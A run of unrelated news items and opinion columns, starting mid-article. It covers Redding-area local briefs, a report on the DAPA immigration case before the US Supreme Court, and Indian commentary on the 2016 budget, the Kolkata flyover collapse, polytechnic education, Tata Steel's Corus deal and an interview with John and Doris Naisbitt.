And cold isn't a problem either. "The colder the weather, the more they love it," Stapler said. "They run up and down the hills."

The animals are very curious, he said. When there was a controlled burn on his property, the bison wandered over to check out the situation. They recognize different cars and are very protective of their young, Stapler said.

"They don't moo like cows. They are very quiet," he said. "They will grunt a little bit now and then."

Stapler, who retired from the construction trade in Southern California, is an American Indian (Acjacheman) and said he's long been fascinated with buffalo.

"I couldn't have found a better thing to do," he said. "Something has to eat this grass, and the bison is an amazing animal. I enjoy just watching them and seeing how they handle themselves."
Dozer is one of four K-9s bought by the Redding Police Department. His costs were paid through a local nonprofit.

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K-9 Dozer joins Redding police

The Redding Police Department added a new member to its ranks this week  Dozer, a German shepherd.

The police K-9, one of four for the department, recently completed a four-week patrol school in Menlo Park and was assigned to the graveyard shift with his handler, officer Nolan Guiducci.

Dozer cost the department about $9,137, but that was paid through donations to Communities for Police Canines, a local nonprofit group that has supplied funds for as many as seven of the most recent additions to Redding's K-9 Unit, Sgt. Brian Barner said.

"It's nice to have," Barner said of the support from the nonprofit. "They're a pretty good group."

Redding has five available spots for police dogs, Barner said. Dozer brought the canine unit up to four after two dogs were retired in January.

Donations are being sought through Communities for Police Canines to purchase a fifth dog.

More information is available at rpdk9.com.

Woman punished in animal cruelty case

A 35-year-old Red Bluff woman was sentenced to 90 days in Tehama County Jail and placed on formal probation for three years after she was arrested in July for throwing a puppy directly into the path of an oncoming car and spitting on a law enforcement officer, Tehama County prosecutors announced Thursday.

Monique R. Shipman threw the approximate six- to eight-week-old puppy into the path of the car, but the driver was able to stop in time before hitting it, prosecutors said.

However, she was uncooperative with law enforcement and spit on an officer, prosecutors said.

Shipman, who was arrested on suspicion of animal cruelty and misdemeanor battery upon a law enforcement officer, was also ordered to perform 80 hours of community service and not to possess any animals while on probation, prosecutors said.

Guilty plea entered in fraud, ID theft

A 29-year-old Siskiyou County woman pleaded guilty Thursday in U.S. District Court in Sacramento to aggravated identity theft in connection with her participation in a bank fraud and identity theft scheme, the U.S. attorney's office said.

Stacy Miranda Phillips, 29, of Montague, worked with others in Siskiyou County from September 2015 to December 2015 on a scheme to steal from banks and merchants in Siskiyou County, a spokeswoman for the office said.

Phillips admitted that as part of her scheme she stole mail and other personal property of local residents.

According to court documents, Phillips and her associates targeted certain victims, postal customers and mailboxes used by those victims.

Phillips used checks, credit or debit cards, account numbers, names, PIN numbers and signatures found in the stolen mail to obtain cash and purchase items, the documents said.

Phillips, who stole mail from post offices in Hornbrook, Grenada and Montague, also attempted to open a line of credit in the name of a Weed resident, according to the documents.

She is scheduled to be sentenced on July 28 and faces at least two years in prison and a $250,000 fine.

Weekend quilt show set at fairgrounds

The Shasta District Fair grounds will play host this weekend to the Feather Your Nest with Quilts quilt show.

The doors open at 10 a.m. Friday, Saturday and Sunday, according to the Quilters' Sew-ciety of Redding. The event features hundreds of quilts along with vendors, raffles, a boutique, an opportunity quilt and door prizes.

Many quilts will feature a bird theme, and the Wintu Chapter of the Audubon Society will provide information about birds in the North State.

Tickets cost $7 for one day while a three-day pass is $10. The event ends at 5 p.m. Friday and 3 p.m. Saturday and Sunday.

Modoc jail inmate caught after escape

A Modoc County Jail inmate who escaped through the ventilation system was apprehended after a high-speed chase Thursday, sheriff's officials said.

About 5:30 a.m. Thursday, a corrections officer discovered that inmate Joshua Helgeson wasn't in his cell. Officers put the jail under lockdown, Modoc County Sheriff Mike Poindexter said.

A tip helped authorities locate Helgeson's vehicle in Alturas, where police tried to pull him over, Poindexter said. Instead, deputies said Helgeson sped away, leading officers on a 15-minute chase that reached speeds of more than 100 mph.

Helgeson eventually abandoned the vehicle and tried to run away but was caught, Poindexter said.

He said Helgeson was in possession of drugs and drug paraphernalia.

The investigation revealed he damaged the ventilation system to access the jail's attic area. Then, he removed another vent to get outside, dropped 15 feet and then crawled under a locked gate, Poindexter said.

He had been in jail for multiple charges of false imprisonment, assault on an officer and assault with a deadly weapon, Poindexter said. His bail was quintupled to $500,000 upon his return, Poindexter said.
UPDATE: One northbound lane of I-5 open after big rig crash near Lakehead

A crash north of Lakehead has forced officials to close all northbound lanes of traffic on Interstate 5.
Angry demonstrators yell at those supporting stricter immigration laws outside the U.S. Supreme Court on April 18, 2016 in Washington, D.C. Thousands flocked to the court to support laws that make it easier for immigrants to enter the country. (Keith Lane/McClatchy/TNS)

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By Tim Henderson, Stateline.org

WASHINGTON  As U.S. Supreme Court justices weigh whether President Barack Obama has the power to grant legal work status to about 3.5 million undocumented immigrant parents, states are weighing the costs of the decision. And they are divided on whether they will be helped or hurt economically  regardless of how the justices rule.

Justices on Monday heard arguments in the case, in which the Obama administration seeks to overrule a lower court order halting the policy. Texas and 25 other states challenged the presidents 2014 executive action to give deferred deportation and legal work status to parents of U.S. citizens in a plan called DAPA, Deferred Action for Parents of Americans and Lawful Permanent Residents, also called Deferred Action for Parental Accountability.

One in 4 Hispanic children has an undocumented parent, according to a new study by the National Research Center on Hispanic Children & Families.

Only parents here since 2010 and who havent been convicted of a felony or repeat misdemeanors would qualify to stay without immediate threat of deportation if DAPA is allowed to go forward.

But if the policy is struck down, parents could face the threat of deportation for being here illegally  though many of their children, an estimated 4.5 million, could remain legally because they were born here and therefore are citizens.

There is a pressing humanitarian concern in avoiding the breakup of families that contain U.S. citizen children, U.S. Solicitor General Donald Verrilli argued before the court.

In seeking to overturn the policy, Texas argued that it would cost the state millions of dollars to give the immigrants drivers licenses because state law requires that people authorized to work be eligible for licenses. The administration argued that Texas cant sue just because it would lose money issuing licenses when its free to deny licenses to DAPA recipients or raise fees.

In its court brief, Texas said total unauthorized immigration costs it $59 million in extra education costs and $717 million in health care costs annually. Other states also claimed costs from unauthorized immigration with deferred deportation status, such as $9 million in Arizonas Maricopa County for law enforcement and $571,000 in Wisconsin for unemployment benefits.

But lawyers for 16 other states, led by Washington, argue they would be better off economically if DAPA was upheld. They said granting legal work status for these parents would bring in more tax revenue as they get better jobs, and prevent costly foster care for children left behind should their parents be deported.

Overall, unauthorized immigrants already pay $11.6 billion annually in state and local taxes, according to a February study by the Institute on Taxation and Economic Policy, a tax policy think tank in Washington, D.C. That includes $1.5 billion in Texas and $3.2 billion in California, states with the most undocumented immigrants.

DAPA-eligible parents alone add $210 billion to the overall economy, a UCLA study in 2014 estimated. Combined with an existing policy that allows immigrants who arrived here as children to avoid deportation and work legally for two years, California could reap an additional $900 million in state taxes over five years if DAPA is implemented, a 2015 report by the left-leaning Center for American Progress estimated. That report also estimated additional tax receipts of $347 million for Illinois, $184 million for New York and $25 million for South Carolina.

DAPA was halted by an injunction before it started, and that injunction was upheld by an appeals court in November. In the case argued Monday, the Obama administration asked the Supreme Court to lift the stay on the policy and allow DAPA to start enrolling parents who qualify.

Advocates say the policy needs to move forward as soon as possible, citing recent research that indicates that children fall behind in school when their parents fear deportation.

One thing the Texas lawsuit does not challenge is the deportation priorities that took effect in 2015, which made most law-abiding undocumented immigrants a low priority for deportation. The Migration Policy Institute estimates the policy protects 87 percent of the unauthorized people in the country, or 9.6 million, from deportation though the government retains the right to make exceptions.

But while unauthorized immigrant parents may not face immediate deportation if DAPA doesnt go forward, they may remain in constant fear of it.

The justices arent expected to rule until June. And the divided court, with only eight justices following the death of Associate Justice Antonin Scalia, could rule a number of ways: In addition to ruling for or against Texas on whether the president has the power to authorize DAPA, it could be deadlocked 4-4, which would allow the lower court decision to stand and block the policy in at least part of the country. Or it could decide that Texas didnt have legal standing to sue, which could allow the policy to go forward.

Texas based its case on drivers license processing costs, saying the state loses more than $130 on each license it would be forced to offer DAPA parents, a potential cost of up to $60 million that gives the state standing to sue, it says.

Washington and the states, along with the District of Columbia, that want DAPA to go forward called the Texas argument distorted and said delaying the policy is preventing our state and millions of our residents from receiving substantial economic, social welfare and public safety benefits.

Along with increased taxes from the better earnings immigrants could gain from legal work status, the proponents argued states will benefit from lower law enforcement costs as more immigrants cooperate with police. States could also avoid unnecessary foster care cases that arise when children are separated from their deported parents, they argued.

An estimated 5,100 foster care cases are created nationally each year by deportation, which costs states $132 million, the pro-DAPA states argued, citing a 2011 study by the Applied Research Center, a racial justice advocacy group now called Race Forward.

(EDITORS: BEGIN OPTIONAL TRIM)

They also argued that states would have fewer traffic deaths because all drivers would be licensed, pointing to a January study by the Commonwealth Institute For Fiscal Analysis, a think tank focused on low- and moderate-income earners, that suggested that driver training and testing of undocumented immigrants helped lower the number of traffic deaths in states where licenses are issued regardless of immigration status.

We are convinced that it will create more tax revenue, but more importantly, it will keep families together, said Noah Purcell, Washingtons solicitor general.

(END OPTIONAL TRIM)

Some states are split. In Maine and New Mexico, Democratic attorneys general signed on to the Washington brief supporting DAPA, but their Republican governors joined the other side. New Jersey Gov. Chris Christie signed one anti-DAPA brief, along with New Mexico Gov. Susana Martinez, while Maine Gov. Paul LePage signed another.

Conversely, Nevadas Republican attorney general joined the Texas lawsuit, while Gov. Brian Sandoval, also a Republican, said he does not support the challenge. Nevada has the nations highest share of schoolchildren with an unauthorized immigrant parent, at 18 percent, according to Pew Research Center estimates. (The Pew Charitable Trusts funds the Pew Research Center and Stateline.)

(EDITORS: STORY CAN END HERE)

Although deportation priorities may have minimized the threat of parent deportations, the deferred deportation and permission to work conferred by DAPA is important for immigrants peace of mind, said Randy Capps, a demographer at the Migration Policy Institute.

Raids by U.S. Immigration and Customs Enforcement agents in January targeted only 121 people who had crossed the border recently or failed to show up in immigration court, but they scared everybody, Capps said.

As a result, information-sharing networks have sprung up on social media to help immigrants stay alert for roadblocks and raids that could separate them from their children. But they can also be a source of worrisome rumors, Capps said.

Thats why the work authorization is so important: It allows people to step out in the open and work without being afraid. It makes a big difference for the well-being of their children, he said.

(EDITORS: STORY CAN END HERE)

According to estimates by Capps group, the areas with the most potential DAPA beneficiaries are California, with almost 1.1 million eligible parents, and Texas, with about 560,000. Other states with more than 100,000 are Florida, Georgia, Illinois, New Jersey, New York and North Carolina.

Fear of deportation can cause parents to worry and sometimes fail to get services that help their U.S.-born children in even the most immigrant-friendly parts of the country.

In Baltimore, where Mayor Stephanie Rawlings-Blake has welcomed immigrants regardless of status, the January raids caused widespread concern among parents, said Adonia Simpson, managing attorney for immigration legal services at the Esperanza Center, part of Catholic Charities of Baltimore. In February, the center helped dozens of parents create power-of-attorney files in case theyre separated from their children by deportation.

It does provide a little peace of mind for people to have a plan in case the worst happens, Simpson said. At least you have someone you can call on who can manage your money and take care of your kids.

Until recently in South Carolina, immigrant children of undocumented parents were denied in-state college tuition rates and state scholarships even if they were U.S. citizens. The state has agreed to stop the practice in a move toward settling a lawsuit, said Tammy Besherse, a staff attorney for the South Carolina Appleseed Legal Justice Center, which advocates for low-income people.

The three students who sued have now been enrolled with in-state tuition and financial aid, Besherse said, but theres no telling how many students quietly accepted the policy and decided against going to college.



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Budget sends reassuring message on the sustainability of gradual reform, surmises Claude Smadja



This was Finance Minister Arun Jaitleys third Budget and, to some extent, the hardest so far in terms of the challenges to be addressed and the contradictory imperatives to be reconciled.

By outlining that this was a Budget presented at a time when the global economy is in trouble, but when Indias economic growth remains solid at 7.6 per cent, the finance minister was setting the stage for what was expected to be a very delicate balancing act between the need to present a growth-oriented Budget while reaffirming the imperative of fiscal consolidation, with a deficit targeted at 3.5 per cent of gross domestic product.

Sticking to the target was crucial for the governments credibility towards the international financial market, even if such a choice obviously meant some difficult trade-offs in terms of being able to generate a higher growth potential for the Indian economy.

Despite the finance ministers pledge that the pace of reforms will continue, foreign investors will be disappointed that -- except for permitting 100 per cent foreign direct investment in marketing for Indian-made food products and opening up the road sector to private investment in the private transport segment -- this Budget does not open up more areas to foreign investment.

Neither does it truly chart the road map for the much-needed implementation of the goods and services tax.

It remains also to be seen whether the encouragement given to public sector companies to divest assets would be followed by action, considering that less than half the targets for divestment had been met previously.

However, the positive element is that the Budget sets the orientations for supporting the development of domestic consumption -- especially among the less favoured categories of the population, where measures such as the additional deduction for first-time home buyers of low-cost houses, the raising of the deduction limit on rent cost and the additional relief for small and medium income taxpayers are applicable.

These are measures that should translate directly into increased consumption, thus impacting positively on GDP growth.

All the measures announced to support the agricultural sector go in the same direction, coming on the heels of two disastrous monsoons that have significantly eroded the farmers situation and purchasing power.

This is definitely a most welcome effort for a country where 60 per cent of the population still relies directly or indirectly on agriculture.

In that respect, a positive factor lies in the combination of structural improvements in domains such as electrification of villages and the irrigation networks with direct support measures for beleaguered farmers.

Worth mentioning also are the measures intended to support SMCs, new manufacturing companies and young entrepreneurs -- especially women -- thus pushing ahead with the Start Up India initiative launched by the government.

In the same way, it is worth noting the measures in the Budget that will help support the implementation of Digital India.

This comes with tax incentives for the manufacturing sector to encourage companies to create new jobs in the context of Make in India.

Although industrialists will consider that the Budget does do enough for their sector, there is, nevertheless, an improvement in the framework conditions to allow manufacturing to increase its share of the countrys GDP -- an absolute priority for achieving a sustainable nine to 10 per cent annual growth rate.

In this context, one key factor for assessing this Budget is the scale of effort it foresees for infrastructure development.

Considering the need to balance the different urgent needs for financing, the increased resources allocated for road and rail transport expansion and the reviving of 160 airports are a plus.

They represent probably the maximum the government could mobilise in a situation where private infrastructure funding remains weak.

It remains to be seen how the pledge to remove the obstacles and uncertainties inverstors continue to face when getting involved in the infrastructure sector translates into actions.

There is the need to stress even more the crucial linkage -- the symbiotic relationship -- between the development of the manufacturing sector and the development of infrastructure -- and to create even more synergies between the set of complementary pillars.

That the government is now putting more emphasis on public-private partnerships can only offer encouragement for more private sector involvement.

Jaitleys margin of manoeuvre was obviously limited by three major constraints coming on top of the need to stick to the goal of fiscal consolidation: The allocation of significant funding for the agricultural sector, mentioned earlier; the impact of salary increases for civil servants; and the need to devote resources  although presumably not enough -- to recapitalse a banking sector increasingly weakened by the increase in non-performing assets.

An important test in the coming months will be the additional reforms that have to be implemented in this sector if it is to play a greater contributing role to GDP growth.

Those -- in India as well as among the international business community -- who were expecting new, bold, reformist measures in this Budget will presumably be disappointed.

We have, however, seen already with the previous Budget that this government is not opting for a big-bang approach, whether by conviction that a more gradual approach will work better in the long term or because of the recognition that domestic political conditions and the international economic context do not provide the ground for such an approach -- or maybe because of a mix of these two reasons.

All in all, this Budget has to be seen as a growth Budget and a good trade-off between what could be done to promote a further, faster, expansion of the economy and the need to show a convincing determination of the government to achieve fiscal consolidation.

It also provides a reassuring message about Prime Minister Narendra Modi staying the course -- maybe not as forcefully as some would have hoped but in a way that will at least ensure sustainability of the effort. Would it have been realistic to expect more?

Image: Finance Minister Arun Jaitley arrives at the Parliament to present the Budget in New Delhi, February 29, 2016. Photograph: Adnan Abidi/Reuters

Claude Smadja is the president of Smadja & Smadja, a strategic advisory firm. Twitter: @ClaudeSmadja
IMAGE: Rescue operations going on at the spot where an under-construction flyover collapsed on Vivekananda Road in Kolkata on Friday. Photograph: PTI Photo

The surcharged political atmosphere in West Bengal, which is currently in the midst of assembly elections, has led to all political parties engaging in a blame game.

The collapse of an under-construction flyover in the highly congested Burra Bazar area of Kolkata, killing 27 people, has highlighted the hurdles in the way of building new infrastructure capacity not just in West Bengal but in all of India.

The tragedy comes at a particularly sensitive juncture when India, led by a very active and peripatetic prime minister, is seeking global investment for building both its infrastructure and its productive capacity.

Given that a trillion dollar-plus infrastructure gap has to be financed, and that various methods of implementing this infrastructure plan are being discussed at the moment, it is vital to dispassionately judge what has gone wrong in this case -- and to identify the more general malaise.

But the surcharged political atmosphere in West Bengal, which is currently in the midst of assembly elections, has led to all political parties engaging in a blame game.

A final call should only be taken when all the facts are known.

This flyover collapse was, sadly, far from atypical.

A section of another flyover at Ultadanga on the way to Kolkatas airport collapsed three years ago. (Fortunately casualties were minimal then, as it happened late in the night.)

A safety audit of flyovers in and around the city undertaken thereafter revealed serious flaws in as many as 14 of them, and repairs are now underway.

The previous Left Front government has to answer for this.

But it should also be noted that this particular flyover has been under construction for seven years now with no sign of the work likely to finish in the near future.

Opposition by local people to the flyover and the inability of the government to make land available for the project are the main reasons cited for the delay.

For this, the blame rests squarely on the shoulders of the current Trinamool Congress government.

Its leader, Chief Minister Mamata Banerjee, who won the last assembly elections by making an issue of land acquisition and driving out of the state the Tatas Nano project, has created a culture whereby people consider it legitimate to refuse to part with land even for public projects.

The role of the private contractor executing the project, IVRCL, has also come under scrutiny.

The company had a reasonable reputation when it was awarded the contract for the project in 2007, but thereafter has fallen foul of the authorities on several counts, and in several states.

It was as early as in 2011 that a case was filed against it by the Central Bureau of Investigation; but despite this the Trinamool Congress government that came to power the same year chose to go along with it.

One of the smaller contractors engaged by IVRCL has been linked to a Trinamool Congress bigwig.

In fact, perhaps the biggest hurdle in the way of doing business in the infrastructure is the role of local political operatives who have to be awarded contracts or simply accommodated in their rent-seeking.

This is a well-known problem in West Bengal in particular and, together with the land issue, has kept new projects away from the state.

The prospects for jobs and economic growth are dim for both West Bengal and all of India unless the governance house is set in order.
The polytechnic graduate is on the front line of our war to establish a vibrant manufacturing sector in India, says Ajit Balakrishnan.

Last weekend I found myself in Shillong staring out of the windows at the rolling Khasi Hills, listening to presentations from directors of technical education and principals of polytechnics of Meghalaya, Mizoram, Arunachal Pradesh, Jharkhand, Bihar, Odisha, Sikkim, West Bengal, Tripura and the Andaman Islands.

The task at hand?

Changes to be made to the curricula of the 375-plus polytechnics in the area to make them more relevant to industry and consequently make the students more employable.

The stakes are high: polytechnics in these states produce 65,000-odd students every year.

Getting the curricula right for an educational institution is, to draw a parallel, like getting the script right if you are a Bollywood producer; many other steps remain, getting the right actors (teachers) and distribution (placement), but if the curricula are not tuned to the market, nothing else works.

I was there as a Union ministry of human resource development nominee on the Board of the National Institute of Technical Teachers Training and Research in Kolkata, which is charged with improving the quality of polytechnic education in the eastern part of India.

In our Great Indian Dream of Make in India, that is to say, establish more manufacturing units in India which will create jobs plus add to the countrys gross domestic product, polytechnics -- more than engineering colleges -- are the pivot point.

It is the polytechnic graduate who will take a manufacturing units intentions and translate them for action by spelling out the steps to the worker who actually 'makes' the product, for example a mobile phone; or sets up a mobile phone network or repairs a mobile phone which needs fixing.

The polytechnic graduate is on the front line of our war to establish a vibrant manufacturing sector in India.

Polytechnic graduates are also needed in the construction of buildings and roads (they are the ones who inspect an architects drawings and explain to workers step-wise what needs to be done), in the manufacture of chemicals and foodstuffs and so on.

There is one thing specific to polytechnics and that was best explained by one of the speakers.

If you are a graduate in English it is not expected that right after graduation you will go on to write poetry or write a novel; but if you pursue a diploma, for example, in computer science, it is expected from the first day after graduation that you be able to write lines of computer code.

That is to say, a polytechnic grad is supposed to have not just a sense of the theory but can also do practical things right after graduation.

This, of course, implies that during his course at a polytechnic he has spent time at an industrial outfit where he has learnt hands-on that particular skill.

Which, in turn, implies that Indian polytechnics and Indian industry work co-operatively to provide such learning opportunities.

Another challenge which polytechnics face is that in the long manufacturing job drought, they have been enlisted as training points for those students who could not make it to engineering colleges right after their Plus 2 stage.

So, they go to polytechnics, do the first two years there and then enter engineering colleges through a quota system that has been established for such a purpose.

The tragedy of this system is that the first two years curriculum in a polytechnic (out of three years) is spent teaching theory, taking away precious time that could have been spent in a workshop or a lab.

Polytechnics in Indias Northeast have some challenges of their own.

While we often moan that Indias GDP from organised sector manufacturing, the sector of our economy that offers a reasonable pay and working conditions, is a mere 17 per cent (compared, for example, with 30 per cent for China), this number is a minuscule three per cent for the Northeast states.

This means that practically all the polytechnic graduates of these states will need to go job hunting to Gujarat, Maharashtra, Karnataka and Tamil Nadu, where most of Indias manufacturing activities are concentrated.

During the lunch break that day, I managed to strike up a conversation with about two dozen boys and girls currently studying at the Shillong Polytechnic where the conference was being held.

The first thought that struck me when I saw them was how young they are!

You get into a polytechnic after Class 10, which means when you are 15 and this lot in front of me were in their second and third years, which meant that they were 16 or 17.

How could these baby-like 17-year-olds go to the main job creation centres like Mumbai or Bengaluru or Gurugram, live on their own and work?

I thought Id try and open things up and told them to imagine that I am an angel with a slip of paper for each of them on which they could write which city theyd like their first job to be in.

Most chose Shillong as their desired place to work and a few picked Bengaluru.

I was trying to reconcile all this in my head by running my eyes over those calming rolling Khasi Hills when the team from Sikkim stood up to speak.

We realised last year that our computer science curriculum was outdated, full of old technologies.

"So, we changed it around and have now filled our curriculum with topics like how to build Android apps, how to install and maintain computer networks in offices.

When they finished, I stood up and clapped like I have not done for a long time.

The very next speaker was from the government polytechnic in Port Blair, Andamans, and he described how they have reached out to industrial outfits in Chennai and Bengaluru and placed all their students for internships!

This time I stood up and clapped till my palms were sore!

Image: The Make In India symbol at the Make in India Week, Mumbai, February 2016. Photograph: Sanjay Sawant/Rediff.com

Ajit Balakrishnan, founder and CEO of Rediff.com, is the author of The Wave Rider: A Chronicle of the Information Age. You can reach him at ajitb@rediffmail.com


The $12.1 billion Corus acquisition-the biggest global acquisition made by an Indian company-ended up as a millstone around Tata Steel's neck, points out Indrajit Gupta.

Ever since the Tata Steel board took the call to sell its haemorrhaging UK assets last month, old Tata Steel hands in Jamshedpur have been heaving a sigh of relief.

When the deal was done in 2007, there were many insiders who felt their role would be substantially diminished. After all, the Tatas were buying an entity that was nearly four times the size of Tata Steel.

As it turned out, the $12.1 billion Corus acquisition-the biggest global acquisition made by an Indian company-ended up as a millstone around Tata Steel's neck. And it remains a case study of how not to craft a global merger and acquisition (M&A) strategy.

Timing is everything: In the early 2000s, the strategy team at Tata Steel had identified a number of potential M&A deals from the US, Europe and Asia. Corus was then a penny stock and available for 10 per cent of the value that Tata Steel eventually paid for it.

Apparently, this was the transition period between J J Irani's reign and before B Muthuraman took over. And there was no consensus on the globalisation strategy. L N Mittal's acquisition of Arcelor in 2006 may have galvanised the Tatas. But by then, the commodity cycle was at its peak. And asset prices had zoomed.

Know when to withdraw: Tata Steel had signed a negotiated deal with the Corus management. A few months later, Brazilian steel maker CSN made an entry with a higher offer. And the Corus board proposed an auction. Now, participating in an auction is akin to a frog in a boiling water.

Since the price moves up only marginally, the impact is often hard to gauge, and before you know it, you could end up getting scalded. In any case, insiders suggest that by then, it had become a prestige issue. It eventually paid 30 per cent more than the original negotiated price.

Show me the cash: In hindsight, doing an all-cash deal funded by debt may have been a big mistake. For one, a part stock deal may have softened the blow a fair bit. And by allowing the incumbent management team to sell out their stock options-the then CEO Philippe Varin made 10 million as part of that deal-eliminated their residual interest in the business.

Due diligence is key: It is true that the Tatas may have gone in with their eyes open that the underperforming UK assets could prove to be problematic. But it isn't clear if they knew the full extent of the situation-or indeed, how to fix it.

As a former Tata Steel strategist avers, the UK assets had seldom generated a surplus over a decade. Their underperformance was masked by its well-run Dutch operations at Hoogovens.

Kid gloves won't work: After taking over, the Tatas chose a hands-off strategy. And left it to the incumbent group CEO, Mr Varin, and his team to independently run operations for the first two years. McKinsey & Co christened this as a new Asian style of integration. No 100 day plans. No integration teams swooping down on their conquests.

The Tatas earned tonnes of goodwill, as humane folks who thought long-term and weren't cost-cutters. Except that the price of that approach showed up a decade later, when losses in UK exceeded a million pounds a day. No wonder that the Tatas had to sell part of its assets earlier this week at a nominal value of 1, with all the debt still on its books.

Cut your losses quickly: That the UK assets were spiralling out of control and needed decisive action was all too evident by 2012. Yet the Tatas chose to soft-pedal, restraining its leaders from taking too hard decisions and actually confronting the unions.

The rationale: Tatas had many other business interests in the UK-and any wrong move would have an impact on its other businesses. It partially mothballed assets in Teeside, sold off a bit to a Thai buyer, SSI UK, but there was no solution to the endemic structural uncompetitiveness of UK steel.

The only option was to shrink the operations, and hold its operating team responsible for driving profitability. Instead, insiders say it gave a long rope to a former ThyssenKrupp discard Karl Kohler, who as CEO, promised the board that a turnaround was imminent. Finally, in February this year, the board gave Mr Kohler the marching orders.

During this same period, the mantle of leading the Tata group moved from Ratan Tata to Cyrus Mistry. And perhaps, the decision not to put the assets on the block sooner may have had something to do with that transition. After all, the Corus acquisition was one of the biggest legacies of the Ratan Tata era.

Indrajit Gupta is co-founder and director of Founding Fuel, a learning platform that aims to serve a community of entrepreneurs

Photograph: Rebecca Naden/Reuters
'If a student can't get to school, the school will get to you. Even people with low reading abilities can be taught via videos.'

'Companies and students will be linked to their universities from the beginning and not towards the end of their course.'

'Digitalisation in education will be of enormous impact. Higher education must be closely linked to the demands on the future workforce.'

Best-selling authors Professors John and Doris Naisbitt were in New Delhi recently to promote their latest book, Global Game Change (Sage). It focuses on their belief that the Global Southern Belt, comprising 150 developing countries, will drive the global economy.

John Naisbitt's first book, Megatrends, published in 1982, sold a massive 14 million plus copies.

He has written several other bestsellers, including Re-inventing The Corporation and Global Paradox.

Doris Naisbitt writes a bi-weekly column in the China Youth Daily, China's second largest selling newspaper.

John and Doris Naisbitt shared their views about the evolving world economy, and India's place in it, with Rashme Sehgal.

Your book highlights how 150 nations are going to become the economic drivers of the future and how many of these nations belong to South Asia and Africa.

What kind of leadership role do you see these nations playing given that, at present, a large amount of technological innovation for these countries continues to come from the West?

If we talk about the 150 nations which we collectively call the Global Southern Belt, we have to be aware of two things.

One, the countries are at different stages and speeds of development and the time frame we talk about is for the next decade. In the beginning, we cannot expect them to take the lead.

As of now, China is clearly leading the parade, both economically and politically.

If we look at technology, the picture is mixed as well. There is a wide gap between announcing and achieving India's 'Technology Vision 2035'.

We are not questioning the potential of India's people, but, without providing a nourishing environment for scientists and entrepreneurs, this will not happen.

India's core problems need to be resolved, and resolved quickly.

China, which has been very ambitious about achieving its goal to become an innovation nation, has already taken the lead in the number of patent applications. While it may be a question of quantity rather than quality, they are advancing towards their goal with a great deal of strength.

How significant can India and China's roles be in this new scenario, especially since, while the Indian economy is doing well, its manufacturing sector has still to pick up?

Even though India and China are often put into one pot, we disagree with such a view.

China and India have different historical and cultural backgrounds. Each country will develop at its own speed. China created a set of extremely realistic manufacturing goals for themselves way back in 1978.

The technological achievements of both countries are different. Today, rising productivity is not necessarily linked to workforce and wages. Rather, to achieve these objectives, there is a need to leapfrog directly into digital production.

The challenge that India and China face is education. The future does not lie in cheap labour, but for the public to move into the field of tech jobs.

Your book highlights how the global middle class will double from two billion in 2012 to five billion by 2030. While this is undoubtedly a major leap forward, this group will aspire to a more affluent lifestyle similar to their Western counterparts.

There is a great deal to be optimistic about as far as this is concerned, but there are apprehensions about the enormous environmental pressures this will put on the planet, given that we are witnessing major climate change and both developed and developing nations are under pressure to rein in their greenhouse gases. What do you feel?

Environmental considerations are a challenge and an opportunity.

But the opportunities it holds for entrepreneurs can only be leveraged if the government creates the conditions needed.

There has been a change in the mindset in developing countries to move from high growth to sustainable growth, but that alone won't do it.

India too has very ambitious goals, but it needs realistic targets with step-by-step corrections and adaptations on the way.

People are confronted with polluted air, dirty rivers and piles of garbage and even the most ambitious government cannot hide this any more.

People have been disappointed too often by promises not delivered. It is time to deliver on these goals and for state governments to take the first small steps towards improvement.

IMAGE: Doris and John Naisbitt. Photograph: Rashme Sehgal

Yes, we require high quality urban governance especially since an increasing middle class will see rapid urbanisation. This in turn will require high quality urban governance. Unfortunately, this is an area that the developing countries remain weak in.

With a 2.4 per cent growth each year, and with India having achieved slightly more than 32 per cent urbanisation, the process is rather slow. That might hold a chance for local governments to step up on the creation of infrastructure and transportation systems in order to keep up with the speed of urbanisation.

We have studied the rapid development in Chengdu (in Western China), a city that today hosts more than 250 of the Fortune 500 companies. The strategy was to create high tech clusters with a close connection between manufacturers and suppliers.

Another policy was to support four city centres instead of just one, which reduces the time spent on the daily commute to work.

The hurdle in Western democracies is that election cycles favour short-term promises. It is much harder to convince voters to choose long-term benefits over immediate benefits. That's true for local governments as well as national governments.

You talk about growth, but the question people in these countries are asking is how are these nations going to deal with shortages of power, water and other resources?

The answer to such shortages is directly linked to the previous question: How to 'sell' necessary temporary reduction to the population and yet survive politically.

Again, this has a lot to do with education.

In Western countries, as well as in developing countries, there is a lack of understanding that freedom comes with responsibility. The more democratic a country becomes, the more the responsibility of the people increases.

This is true for personal consumption as well as the choices we make when we elect our leaders.

In general, there is a growing awareness that nature cannot be exploited without facing serious consequences. That is a good ground to build on.

China today is leading in renewable energy and has become the world's largest investor in clean energy. We believe that its goal to increase wind and solar power capacity by more than 20 per cent in 2016 is within reach.

It is not only economically desirable, but also a political necessity in a country that draws justification for its governance by the results it achieves.

What kind of technological breakthroughs do you foresee taking place in these developing countries?

The key word is digitalisation.

Many African countries are aiming to leapfrog from the agricultural age to the digital age. Just think about African entrepreneurs who, while local infrastructure is very poor, have been enabled to do business globally via the Internet.

Access to the Internet will play a very important role in being able to achieve higher standards in all businesses, including agriculture.

What kind of technological breakthroughs do you foresee as also breakthroughs in the areas of public health, employment, social sector and education in the next two decades?

Digitalisation will play a catalytic role in these nations moving forward. There is, of course, some concern about jobs being lost. And it is true. We will lose (some) jobs, but we will gain others.

It is part of a healthy churning in a highly competitive environment.

Digitalisation in education, although still in its infancy, will be of enormous impact. Higher education must be closely linked to the demands on the future workforce.

Companies and students will be linked to their universities from the beginning and not towards the end of their course which, of course, will be a challenge to traditional structures.

There is potential in the fact that if a student cannot get to school, the school will get to you. Even people with low reading abilities can be taught via videos and increase their productivity, for example in the area of agriculture.

Health care is about to be revolutionised by software in clinical areas and in business models.

Modern technology is the enabler. The hurdle to implementation is not the available technological standards, but the fact that adaption and utilisation rates are lagging behind current standards.

Education, in many regards, will be the decisive factor. Patients, doctors and medical personnel must become familiar with new technologies for the whole sector.

How people-centric will this new global order be?

Just consider how individuals today are linked with each other. Messages, experiences, complaints and praise can be shared within minutes by millions. The growing voices of the people can no longer be ignored.

How are we going to combine greater public scrutiny, government regulation and customer satisfaction and integrate this with greater sustainability? Is this feasible?

In our book, we talk about the two big Es -- education and economics. In Western democracy, the people decide. The problem is that the majority is not always right.

To make decisions that do not only focus on short term benefits, but on sustainable progress, we need governments to be able to make strategic decisions without being punished immediately by dropping approval rates.

True leadership in politics has become rare while, globally, problems seem on the rise. The feasibility of good governing not only depends on reliable politicians, but also on how responsible people act.
'Today, three areas give banks a big headache -- steel, power, infrastructure.'

